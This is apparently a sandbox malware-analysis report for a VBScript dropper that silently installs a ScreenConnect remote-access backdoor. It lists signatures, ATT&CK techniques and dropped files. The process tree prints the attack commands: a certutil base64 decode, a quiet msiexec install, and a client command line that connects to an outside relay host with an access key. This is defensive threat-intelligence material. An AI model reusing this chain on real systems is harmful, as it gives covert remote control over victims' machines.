Overview

overview

8

Static

static

1

3199b8a039...71.vbs

windows11-21h2-x64

Analysis

  • user interaction
    yes
  • max time kernel
    110s
  • max time network
    113s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    10/09/2026, 00:39

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    3199b8a0398994b0126a1e642618b5ba903acaeec64afd48f59a7bffd9045971.vbs
  • Size 16.0MB
  • Sample260910-aztp8ashmh
  • SHA256 3199b8a0398994b0126a1e642618b5ba903acaeec64afd48f59a7bffd9045971
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordefense_evasiondiscoveryexecutionpersistenceprivilege_escalationratrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

    defense_evasion
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 27 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 28 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3199b8a0398994b0126a1e642618b5ba903acaeec64afd48f59a7bffd9045971.vbs"
    1⤵
    • Drops file in System32 directory
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4604
    • C:\Windows\System32\certutil.exe
      "C:\Windows\System32\certutil.exe" -f -decode "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup_20260910_014018.b64" "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi"
      2⤵
      • Deobfuscate/Decode Files or Information
      PID:1852
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi" ALLUSERS=1 /qn /norestart REBOOT=ReallySuppress /l*v "C:\ProgramData\MSIWrapperLogs\msi_20260910_014018.log"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3356
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2796
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 05317130CB461B0D232CB71D687E6302
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2064
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI3A26.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240663250 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:6024
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding BC477AD6FD119167FCBA09E4148FAB5C E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:5804
  • C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=sc.gj.dgjmdgp.net&p=8041&s=154312e1-2991-4baf-a726-fb134951497c&k=BgIAAACkAABSU0ExAAgAAAEAAQDpynUO%2fAcRd8C%2fs0qKv7M0NfOlBlH2BgQzTcsbBFwUFwqouBJ1MzfT5x6qERRtI1DnL9tKm8LZDmd4mi3wsopT6Ksizdkfv%2bGcqRTswrMo2diyoDsxgsRzl%2bgrY4iYncbLxbr97P%2fEAm%2fQ%2fvvwUtfH7vvYRPCQhzPnYlG7btTtfoZQNCGGtH0P%2fjGyRXzAI3Y90WtOA7aRTJZFn%2bwPpszD%2bXNz0xPLVDqXhNChXzxPtm9NTJLzcdMv9k3N3FjKLiF03%2fAISfrVV%2bHSGHr2PdGnPj3gwQ0zLL5kQIYv3KJzf1%2bjsiLQRUjD4Dhfs5ZqoiSALLf5b4t3ujQC%2fyGioLOv&c=SEAFOOD&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4752
    • C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.WindowsClient.exe" "RunRole" "28693daa-2a99-45bb-a380-ad507b55d719" "User"
      2⤵
      • Executes dropped EXE
      PID:4632
    • C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.WindowsClient.exe" "RunRole" "8dde74c4-e255-4e57-aded-df92208b28ba" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:5280
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x4 /state0:0xa3a2c055 /state1:0x41c64e6d
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:4028

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        Visual Basic

        1
        T1059.005

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Defense Evasion

        Deobfuscate/Decode Files or Information

        1
        T1140

        Modify Registry

        1
        T1112

        Credential Access

        Discovery

        Peripheral Device Discovery

        1
        T1120

        Query Registry

        2
        T1012

        System Information Discovery

        3
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e58393e.rbs
        • Path C:\Config.Msi\e58393e.rbs
        • Size 214KB
        • SHA256 aa57295757e60f994e59f104b07cba653e4de7d6b48e702c6f7a45cc2a1256ff
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.Override.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\Client.Override.en-US.resources
        • Size 245B
        • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        Client.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Client.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsAuthenticationPackage.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe.config
        • Path C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ScreenConnect.WindowsCredentialProvider.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        app.config
        • Path C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\app.config
        • Size 1005B
        • SHA256 d941ced9bb070fefe2b2c771b23470fadda02e018fdeff1adecbfc76da027f58
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        system.config
        • Path C:\Program Files (x86)\ScreenConnect Client (634d276de583c1d7)\system.config
        • Size 951B
        • SHA256 83776f42373943d9313e34ed006f85c66abc03893169f13439180d511628cb5e
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        msi_20260910_014018.log
        • Path C:\ProgramData\MSIWrapperLogs\msi_20260910_014018.log
        • Size 1KB
        • SHA256 5b92d2ec9f85c3592f515f85e26d0024ed310a22df4042d66d010ff2449b1c25
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ScreenConnect.ClientSetup.msi
        • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
        • Size 11.2MB
        • SHA256 da9a78ac208ff90959b6fddbc7d64347fcaa9429a46cc4ed5ce1fa28d2a7e9f4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientSetup_20260910_014018.b64
        • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup_20260910_014018.b64
        • Size 14.9MB
        • SHA256 0a3eb7488b89108e4052dd8fda8b909c9db9ea77b97165182f322d1d045320c3
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI3A26.tmp
        • Path C:\Windows\Installer\MSI3A26.tmp
        • Size 1.0MB
        • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Microsoft.Deployment.WindowsInstaller.dll
        • Path C:\Windows\Installer\MSI3A26.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Windows\Installer\MSI3A26.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.InstallerActions.dll
        • Path C:\Windows\Installer\MSI3A26.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Windows\Installer\MSI3A26.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI3D73.tmp
        • Path C:\Windows\Installer\MSI3D73.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/4632-126-0x000000001B5C0000-0x000000001B76C000-memory.dmp
        Download

        memory/4632-129-0x0000000002530000-0x0000000002548000-memory.dmp
        Download

        memory/4632-145-0x000000001AF30000-0x000000001B07F000-memory.dmp
        Download

        memory/4632-133-0x000000001AF30000-0x000000001B07F000-memory.dmp
        Download

        memory/4632-128-0x00000000024B0000-0x00000000024C8000-memory.dmp
        Download

        memory/4632-127-0x000000001C9B0000-0x000000001CB38000-memory.dmp
        Download

        memory/4632-125-0x000000001B380000-0x000000001B40E000-memory.dmp
        Download

        memory/4632-123-0x0000000000230000-0x00000000002C8000-memory.dmp
        Download

        memory/4632-124-0x00000000024D0000-0x0000000002506000-memory.dmp
        Download

        memory/4752-89-0x00000000042B0000-0x0000000004300000-memory.dmp
        Download

        memory/4752-78-0x0000000003F10000-0x0000000003F28000-memory.dmp
        Download

        memory/4752-93-0x0000000004300000-0x0000000004336000-memory.dmp
        Download

        memory/4752-96-0x0000000004510000-0x0000000004551000-memory.dmp
        Download

        memory/4752-94-0x00000000045B0000-0x0000000004642000-memory.dmp
        Download

        memory/4752-98-0x00000000047A0000-0x0000000004875000-memory.dmp
        Download

        memory/5280-132-0x000000001B0C0000-0x000000001B20F000-memory.dmp
        Download

        memory/6024-38-0x0000000005950000-0x0000000005AFC000-memory.dmp
        Download

        memory/6024-26-0x00000000032C0000-0x00000000032EE000-memory.dmp
        Download

        memory/6024-30-0x00000000032B0000-0x00000000032BA000-memory.dmp
        Download

        memory/6024-39-0x00000000060B0000-0x0000000006656000-memory.dmp
        Download

        memory/6024-34-0x0000000005710000-0x000000000579E000-memory.dmp
        Download